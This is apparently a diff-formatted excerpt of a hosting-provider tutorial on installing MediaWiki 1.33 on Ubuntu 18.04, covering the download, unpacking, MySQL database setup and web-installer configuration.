['/websites/wikis/mediawiki-engine/','/websites/wikis/install-mediawiki-on-ubuntu-1804/','/web-applications/wikis/mediawiki/'] -external_resources: - - '[MediaWiki Wiki](http://www.mediawiki.org/wiki/MediaWiki)' - - '[What is Media Wiki](https://www.mediawiki.org/wiki/Manual:What_is_MediaWiki%3F)' - - '[Media Wiki Extensions Blog](https://phabricator.wikimedia.org/source/extensions/browse/)' -relations: - platform: - key: install-mediawiki - keywords: - - distribution: Ubuntu 18.04 ---- - -MediaWiki is a popular, free wiki software package. It's the same software Wikipedia uses. It is fully dynamic and runs on a LAMP stack, taking advantage of the PHP language and the MySQL database backend. With easy installation and configuration, MediaWiki is a good solution when you need a familiar, full-featured, dynamic wiki engine. - -This guide assumes that you already have a working [LAMP stack](/cloud/guides/how-to-install-a-lamp-stack-on-ubuntu-18-04/) running on Ubuntu. Your web accessible `DocumentRoot` should be located in `/var/www/html/example.com/public_html/`. You should be connected to your server via SSH and logged in as root. - -## Download and Unpack MediaWiki - -1. Change your working directory to Apache's `DocumentRoot` and download the latest release of MediaWiki. As of this writing, the latest stable release of MediaWiki is version 1.33.0. - - cd /var/www/html/example.com/ - sudo curl -O https://releases.wikimedia.org/mediawiki/1.33/mediawiki-1.33.0.tar.gz - - You will want to check for the latest version of this software regularly and upgrade to avoid allowing your site to become vulnerable to known security bugs. You can find the download location for the latest release by visiting the [MediaWiki homepage](http://www.mediawiki.org/wiki/MediaWiki). - -2. Decompress the package: - - sudo tar -xvf mediawiki-1.33.0.tar.gz - -3. Move the uncompressed `mediawiki-1.33.0` directory into your site's `public_html/` folder, renaming the directory to `mediawiki/` in the process. - - sudo mv mediawiki-1.33.0/ public_html/mediawiki/ - - The name of the directory beneath the `public_html/` will determine the path to your wiki. In this case, the wiki would be located at `example.com/mediawiki/`. You can copy the wiki to any publicly accessible location in the `public_html/` hierarchy. - -### Configure MySQL - -Mediawiki needs to communicate with a database to store information. Create a database and a user with a secure password, then grant all privileges on the new database to the user. - -1. Log in using the MySQL root password: - - sudo mysql -u root -p - -1. Create a database and a user with permissions for it. In this example, the database is called `my_wiki`, the user `media_wiki`, and password `password`. Be sure to enter your own password. This should be different from the root password for MySQL: - - CREATE DATABASE my_wiki; - CREATE USER 'media_wiki'@'localhost' IDENTIFIED BY 'password'; - GRANT ALL ON my_wiki.* TO 'media_wiki'@'localhost' IDENTIFIED BY 'password'; - - -## Configure MediaWiki - -Point your browser to the URL of your wiki, for example: `example.com/mediawiki/` and click the "Please set up the wiki first" link. The setup page contains everything you need to complete the installation. - -From the database section above, you will need: -- The database name -- DB username -- DB user's password - -Giving MediaWiki superuser access to your MySQL database allows it to create new accounts. If you plan on having a large number of users or content, consider setting up a second Linode as a [dedicated database server](/cloud/guides/standalone-mysql-server/). - - After the installation is finished, MediaWiki will create a `LocalSettings.php` file, with the configurations from the installation process. Move the `LocalSettings.php` file to `/var/www/html/example.com/public_html/mediawiki/` and restrict access to the file: - - sudo chmod 700 /var/www/html/example.com/public_html/media/wiki/LocalSettings.php - -MediaWiki is now successfully installed and configured! - - -## Upgrade MediaWiki - -You can monitor the [MediaWiki development mailing list](https://lists.wikimedia.org/mailman/listinfo/mediawiki-announce) to ensure that you are aware of all updates to the software. When upstream sources offer new releases, repeat the instructions for installing the MediaWiki software as needed.